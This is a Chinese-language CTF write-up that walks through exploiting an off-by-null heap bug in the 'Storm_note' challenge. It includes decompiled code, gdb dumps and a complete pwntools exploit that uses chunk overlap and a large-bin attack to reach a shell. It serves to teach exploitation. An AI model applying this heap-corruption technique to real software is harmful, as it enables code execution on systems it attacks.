0x00:前言
off-by-one是堆溢出中比較有意思的一類漏洞,漏洞主要原理是 malloc 本來分配了0x20的內存,結果可以寫 0x21 字節的數據,多寫了一個,影響了下一個內存塊的頭部信息,進而造成了被利用的可能,這裏就以西湖論劍的一道題目來講解這個漏洞
0x01:例子
題目鏈接
http://file.eonew.cn/ctf/pwn/Storm_note
解題思路
首先檢測一下程序檢測,該開的都開了
Thunder_J@Thunder_J-virtual-machine:~/桌面$ checksec Storm_note
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
首先用IDA觀察一下程序,有delete_note,backdoor,alloc_note,edit_note四個功能
while ( 1 )
{
while ( 1 )
{
menu();
_isoc99_scanf("%d", &v3);
if ( v3 != 3 )
break;
delete_note();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 666 )
backdoor();
LABEL_15:
puts("Invalid choice");
}
else if ( v3 == 1 )
{
alloc_note();
}
else
{
if ( v3 != 2 )
goto LABEL_15;
edit_note();
}
}
init_proc
程序執行之前有這個初始化函數,可以看到關閉了 fastbin 機制
ssize_t init_proc()
{
ssize_t result; // rax
int fd; // [rsp+Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( !mallopt(1, 0) )
exit(-1);
if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)2882338816LL )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
result = read(fd, (void *)0xABCD0100LL, 0x30uLL);
if ( result != 48 )
exit(-1);
return result;
}
alloc_note
可以看到輸入size之後,程序會calloc一塊內存(calloc類比malloc),存放note,而note_size則存放在note後面
for ( i = 0; i <= 15 && note[i]; ++i )
;
if ( i == 16 )
{
puts("full!");
}
else
{
puts("size ?");
_isoc99_scanf("%d", &v1);
if ( v1 > 0 && v1 <= 0xFFFFF )
{
note[i] = calloc(v1, 1uLL);
note_size[i] = v1;
puts("Done");
}
else
{
puts("Invalid size");
}
}
note存放信息如下
bss:0000000000202060 ?? ?? ?? ?? ?? ??+note_size dd 10h dup(?) ; DATA XREF: alloc_note+E1↑o
.bss:0000000000202060 ?? ?? ?? ?? ?? ??+ ; edit_note+8E↑o
.bss:0000000000202060 ?? ?? ?? ?? ?? ??+ ; delete_note+BE↑o
.bss:00000000002020A0 public note
.bss:00000000002020A0 ; _QWORD note[16]
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+note dq 10h dup(?) ; DATA XREF: alloc_note+2D↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; alloc_note+C6↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; edit_note+57↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; edit_note+A8↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; edit_note+D0↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; delete_note+57↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; delete_note+82↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+ ; delete_note+A2↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+_bss ends
edit_note
edit 從 note 和 note_size 中根據索引取出需要編輯的堆塊的指針和 size,使用 read 函數來進行輸入。之後將末尾的值賦值爲 0,這裏存在 off by null 漏洞。
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
puts("Content: ");
v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
*(_BYTE *)(note[v1] + v2) = 0; // off-by-one
puts("Done");
}
else
{
puts("Invalid index");
}
delete_note
可以看到輸入 index 之後程序 free 掉 note 和 note_size 之後做了清零操作,不存在UAF漏洞
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 >= 0 && v1 <= 15 && note[v1] )
{
free((void *)note[v1]);
note[v1] = 0LL;
note_size[v1] = 0;
}
else
{
puts("Invalid index");
}
backdoor
可以看到system("/bin/sh");函數,函數首先讀 0x30 長度,然後輸入的內容和 mmap 段映射的內容相同即 getshell
v1 = __readfsqword(0x28u);
puts("If you can open the lock, I will let you in");
read(0, &buf, 0x30uLL);
if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
system("/bin/sh");
exit(0);
思路
- Chunk Extend 使得chunk重疊
- 控制chunk
- 控制unsort bin和large bin
- overlapping 僞造 fake_chunk
- 觸發後門
這裏首先我們連續申請7塊chunk,這裏是三個一組,兩組 chunk 中的中間一個大的 chunk 就是我們利用的目標,用它來進行 overlapping 並把它放進 largebin 中
alloc_note(0x18) # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2
alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5
alloc_note(0x18) # 6
佈局如下圖
然後我們僞造 prev_size
# 改pre_size爲0x500
edit_note(1, 'a'*0x4f0 + p64(0x500))
調試可以看到
gdb-peda$ x/30gx 0x55dc2ede84f0
0x55dc2ede84f0: 0x6161616161616161 0x6161616161616161
0x55dc2ede8500: 0x6161616161616161 0x6161616161616161
0x55dc2ede8510: 0x6161616161616161 0x6161616161616161
0x55dc2ede8520: 0x0000000000000500 0x0000000000000000 => fake prev_size
0x55dc2ede8530: 0x0000000000000000 0x0000000000000021
0x55dc2ede8540: 0x0000000000000000 0x0000000000000000
0x55dc2ede8550: 0x0000000000000000 0x0000000000000021
0x55dc2ede8560: 0x0000000000000000 0x0000000000000000
0x55dc2ede8570: 0x0000000000000000 0x0000000000000511
0x55dc2ede8580: 0x0000000000000000 0x0000000000000000
0x55dc2ede8590: 0x0000000000000000 0x0000000000000000
0x55dc2ede85a0: 0x0000000000000000 0x0000000000000000
0x55dc2ede85b0: 0x0000000000000000 0x0000000000000000
0x55dc2ede85c0: 0x0000000000000000 0x0000000000000000
0x55dc2ede85d0: 0x0000000000000000 0x0000000000000000
釋放掉chunk 1至unsort bin然後創建chunk 0來觸發off by null,這裏選擇 size 爲 0x18 的目的是爲了能夠填充到下一個 chunk 的 prev_size,這裏就能通過溢出 00 到下一個 chunk 的 size 字段,使之低字節覆蓋爲 0。
delete_note(1)
# off by null 將1號塊的size字段覆蓋爲0x500
edit_note(0, 'b'*(0x18))
調試可以看到chunk1已經被放進了 unsorted bin
gdb-peda$ x/20gx 0x562071ea0020-32
0x562071ea0000: 0x0000000000000000 0x0000000000000021
0x562071ea0010: 0x6262626262626262 0x6262626262626262
0x562071ea0020: 0x6262626262626262 0x0000000000000500
0x562071ea0030: 0x00007fe9f2875b78 0x00007fe9f2875b78
0x562071ea0040: 0x0000000000000000 0x0000000000000000
0x562071ea0050: 0x6161616161616161 0x6161616161616161
0x562071ea0060: 0x6161616161616161 0x6161616161616161
0x562071ea0070: 0x6161616161616161 0x6161616161616161
0x562071ea0080: 0x6161616161616161 0x6161616161616161
0x562071ea0090: 0x6161616161616161 0x6161616161616161
接下來我們申請兩塊chunk,因爲關閉了 fastbin 機制,所以會從unsorted bin上,然後delete掉它們,那麼就會觸發這兩個堆塊合併,從而覆蓋到剛剛的 0x4d8 這個塊
alloc_note(0x18)
alloc_note(0x4d8)
delete_note(1)
delete_note(2) # unlink進行前向extend
調試如下,index爲7的指向的地方和unsortedbin裏面的chunk已經重疊了
gdb-peda$ x/20gx 0x5564795ff000
0x5564795ff000: 0x0000000000000000 0x0000000000000021
0x5564795ff010: 0x6262626262626262 0x6262626262626262
0x5564795ff020: 0x6262626262626262 0x0000000000000531
0x5564795ff030: 0x00007f8305be4b78 0x00007f8305be4b78
0x5564795ff040: 0x0000000000000000 0x0000000000000000
0x5564795ff050: 0x0000000000000000 0x0000000000000000
0x5564795ff060: 0x0000000000000000 0x0000000000000000
0x5564795ff070: 0x0000000000000000 0x0000000000000000
0x5564795ff080: 0x0000000000000000 0x0000000000000000
0x5564795ff090: 0x0000000000000000 0x0000000000000000
alloc_note(0x30)之後2號塊與7號塊交疊,這裏 add(0x30) 的 size 爲 0x30 的原因是只需要控制 chunk7 的 fd 和 bk 指針
alloc_note(0x30) # 1
alloc_note(0x4e8) # 2
接下來的原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete_note(4)
delete_note(5)
alloc_note(0x40) # 4
接下來需要我們控制 unsort bin 和 large bin
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)
由於unsorted bin是FIFO(隊列模式),所以可以先刪除2號塊,再申請他,由於先檢查隊列尾部,也就是原先4號塊的chunk部分,發現chunk大小不夠大,然後將其放入large bin中。該chunk由8號塊控制。然後,繼續刪除2號塊,那麼此時unsorted bin裏還剩下2號塊,該部分通過7號塊來控制。
gdb-peda$ x/20gx 0x55609685a000
0x55609685a000: 0x0000000000000000 0x0000000000000021
0x55609685a010: 0x6262626262626262 0x6262626262626262
0x55609685a020: 0x6262626262626262 0x0000000000000041
0x55609685a030: 0x0000000000000000 0x0000000000000000
0x55609685a040: 0x0000000000000000 0x0000000000000000
0x55609685a050: 0x0000000000000000 0x0000000000000000
0x55609685a060: 0x0000000000000000 0x00000000000004f1 => chunk 2
0x55609685a070: 0x00007fec67d73b78 0x00007fec67d73b78 => unsorted bin
0x55609685a080: 0x0000000000000000 0x0000000000000000
0x55609685a090: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/20gx 0x55609685a570
0x55609685a570: 0x6161616161616161 0x0000000000000051
0x55609685a580: 0x0000000000000000 0x0000000000000000
0x55609685a590: 0x0000000000000000 0x0000000000000000
0x55609685a5a0: 0x0000000000000000 0x0000000000000000
0x55609685a5b0: 0x0000000000000000 0x0000000000000000
0x55609685a5c0: 0x0000000000000000 0x00000000000004e1 => chunk 5
0x55609685a5d0: 0x00007fec67d73f98 0x00007fec67d73f98
0x55609685a5e0: 0x000055609685a5c0 0x000055609685a5c0
0x55609685a5f0: 0x0000000000000000 0x0000000000000000
0x55609685a600: 0x0000000000000000 0x0000000000000000
接下來我們僞造 fake_chunk,通過 chunk7 控制 chunk2
content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20
payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit_note(7,payload)
同樣的通過 edit(8) 來控制 chunk5
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) # size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)
edit_note(8,payload2)
接下來我們需要觸發後門
edit_note(2, p64(0) * 8)
sh.sendline('666')
sh.sendline('\x00'*0x30)
sh.interactive()
exp如下
from pwn import *
r = process('./Storm_note')
elf = ELF('./Storm_note')
context.log_level = "debug"
if args.G:
gdb.attach(r)
def alloc_note(size):
r.sendline('1')
r.recvuntil('?')
r.sendline(str(size))
r.recvuntil('Choice')
def edit_note(idx, mes):
r.sendline('2')
r.recvuntil('?')
r.sendline(str(idx))
r.recvuntil('Content')
r.send(mes)
r.recvuntil('Choice')
def delete_note(idx):
r.sendline('3')
r.recvuntil('?')
r.sendline(str(idx))
r.recvuntil('Choice')
alloc_note(0x18) # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2
alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5
alloc_note(0x18) # 6
edit_note(1, 'a'*0x4f0 + p64(0x500))
delete_note(1)
edit_note(0, 'b'*(0x18))
alloc_note(0x18)
alloc_note(0x4d8)
delete_note(1)
delete_note(2)
alloc_note(0x30)
alloc_note(0x4e8)
# 原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete_note(4)
delete_note(5)
alloc_note(0x40) # 4
# 將2號塊和4號塊分別加入unsort bin和large bin
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)
content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20
payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit_note(7,payload)
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) # size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)
edit_note(8,payload2)
# 0xabcd00f0
alloc_note(0x48)
edit_note(2, p64(0) * 8)
r.sendline('666')
r.sendline('\x00'*0x30)
r.interactive()
運行結果如下
Thunder_J@Thunder_J-virtual-machine:~/桌面$ python exp.py
[+] Starting local process './Storm_note': pid 16030
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
: If you can open the lock, I will let you in
$ ls
exp.py HITCON-Training Storm_note test.py vmware-tools-distrib
$ whoami
Thunder_J
$ exit
[*] Got EOF while reading in interactive
$ exit
[*] Process './Storm_note' stopped with exit code 0 (pid 16030)
[*] Got EOF while sending in interactive
0x02:總結
這種漏洞因爲只能利用一個字節,需要我們多去思考如何構造chunk
參考鏈接
http://blog.eonew.cn/archives/709
https://blog.csdn.net/weixin_40850881/article/details/80293143